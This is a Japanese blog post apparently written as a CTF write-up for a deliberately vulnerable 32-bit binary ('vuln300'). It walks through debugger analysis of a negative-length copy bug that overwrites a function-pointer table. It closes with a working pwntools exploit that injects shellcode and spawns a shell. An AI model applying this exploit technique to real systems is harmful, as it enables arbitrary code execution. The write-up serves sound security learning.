mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby vuln300

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln300$ file vuln300 | sed -e "s/,/\n/g"
vuln300: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.18
 BuildID[sha1]=4bc2aae29f861432a873713b1581ac3dbad84cae
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln300$ checksec.sh --file vuln300
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln300

NXやSSPなし.
実行ファイルはubuntu14.04 64bitで動かしてます.

解析

実行してみると,数値とメッセージの入力を促される.
それぞれ入力すると,入力した数値分のアルファベットと入力メッセージが表示されてプログラムが終了する.

mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 
Input Num : 5
Input Msg : hoge
Reply : 
ABCDEhoge

入力内容を変えていろいろ遊んでいると数値に負数を入力したときにプログラムが落ちることがわかる.

mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 
Input Num : -5
Input Msg : aaaaa
Segmentation fault

ということで,具体的にバイナリを解析していく.
デバッガ等で動作を追っていくとざっくりと以下のような流れで動作をしていることがわかった.

  1. 数値とメッセージの入力を受け取る
  2. 入力された数の絶対値分だけアスキーコードAから順に文字を生成
  3. 入力されたメッセージを別の領域にコピー
  4. 生成した文字列と入力したメッセージが連結された文字列を表示

次にプログラムが落ちた原因を探っていく.
次のコードは‐5を入力したときプログラムが落ちてしまった箇所である.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x804a008 ("AAAAAAA\n")
ECX: 0xf7d58790 (mov    WORD PTR [edi],dx)
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0f8 --> 0x0 
ESP: 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n")
EIP: 0x804882a (mov    edx,DWORD PTR [eax])
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048820:	call   0x8048840
   0x8048825:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048828:	mov    eax,DWORD PTR [eax]
=> 0x804882a:	mov    edx,DWORD PTR [eax]
   0x804882c:	mov    eax,DWORD PTR [ebp-0xc]
   0x804882f:	mov    DWORD PTR [esp],eax
   0x8048832:	call   edx
   0x8048834:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n")
0004| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n")
0008| 0xffffd0e8 --> 0xfffffffb 
0012| 0xffffd0ec --> 0x804a008 ("AAAAAAA\n")
0016| 0xffffd0f0 --> 0xfffffffb 
0020| 0xffffd0f4 --> 0xf7e77000 --> 0x1acda8 
0024| 0xffffd0f8 --> 0x0 
0028| 0xffffd0fc --> 0xf7ce3af3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804882a in ?? ()

本来EAXにcallで呼び出す関数アドレスを格納するアドレスが入っているはずのところが,‐5を入力したせいで入力したメッセージの一部(AAAA)で書き変わってしまっている.
アドレスが書き変わってしまった原因を詳しく探っていくと次のコードの部分に問題があることがわかった.

[----------------------------------registers-----------------------------------]
EAX: 0x7fb 
EBX: 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
ECX: 0x804a00c ("ABCDE")
EDX: 0xfffffffb 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0d8 --> 0xffffd0f8 --> 0x0 
ESP: 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
EIP: 0x80488c4 (lea    edx,[ecx+edx*1])
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488bb:	mov    edx,DWORD PTR [ebp+0x8]  # 関数呼び出し先のアドレスを格納するアドレスをedxに移動
   0x80488be:	lea    ecx,[edx+0x4]            # 入力した数値分のAから始まる文字が格納されたアドレスをecxに移動
   0x80488c1:	mov    edx,DWORD PTR [ebp+0x10] # 入力した数値をedxに移動
=> 0x80488c4:	lea    edx,[ecx+edx*1]          # 入力メッセージのコピー先アドレスを計算してedxに格納
   0x80488c7:	mov    DWORD PTR [esp+0x8],eax
   0x80488cb:	mov    eax,DWORD PTR [ebp+0xc]
   0x80488ce:	mov    DWORD PTR [esp+0x4],eax
   0x80488d2:	mov    DWORD PTR [esp],edx      
[------------------------------------stack-------------------------------------]
0000| 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0004| 0xffffd0d0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0008| 0xffffd0d4 --> 0x0 
0012| 0xffffd0d8 --> 0xffffd0f8 --> 0x0 
0016| 0xffffd0dc --> 0x8048825 (mov    eax,DWORD PTR [ebp-0xc])
0020| 0xffffd0e0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0024| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n")
0028| 0xffffd0e8 --> 0xfffffffb 
[------------------------------------------------------------------------------]

このコードはstrncpy命令を使った入力メッセージコピー処理の前準備であり,ベースとなるアドレス(ecx)に入力した数値(edx)を足したアドレスをコピー先のアドレスとして指定している.
しかしスタックの中身は次のようになっているため,入力された数値とメッセージの組み合わせによっては,後にcallで呼び出す関数のアドレスを格納しているアドレスを書き換えてしまう.
f:id:mattun_mart:20171004235955p:plain
例えば,負数に‐4,メッセージにAAAAを入力すると後にcallで呼び出す関数のアドレスを格納しているアドレスを0x41414141に書き換えることができる.

Exploit

後にcallで呼び出す関数のアドレスを格納しているアドレスをメッセージの入力内容で自由に書き換えることが可能なことがわかったので,ここにシェルコードを積んでシェルを起動してあげればよさそう.
運のいいことに後にcallで呼び出す関数のアドレスを格納しているアドレスはbss領域にあり,PIEが無効になっているため,ASLRが有効でもこのアドレスは変化しない.
あとはcallの呼び出し方に注意しながらアドレスとシェルコードを積んであげればOK
ってことでExploit.

#/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import time

conn = process('./vuln300')
elf = ELF('./vuln300')
vtable_addr = 0x80491e0
shellcode = asm(shellcraft.sh())

input_num = "-4\n"
conn.send(input_num)
conn.recv()

payload = p32(vtable_addr + 4) + p32(vtable_addr + 8) + shellcode
payload += "\n"
conn.send(payload)
conn.recv()
sleep(2)

conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln300$ python exploit.py 
[+] Starting local process './vuln300': pid 6387
[*] '/home/mattun-mart/pwn/baby/vuln300/vuln300'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
core  dump  exploit.py    peda-session-vuln300.txt  vuln300

内定式等の関係でまとめるのが遅くなってしまった...
一応自分用にざっくりまとめてるけど間違ってたら教えてください.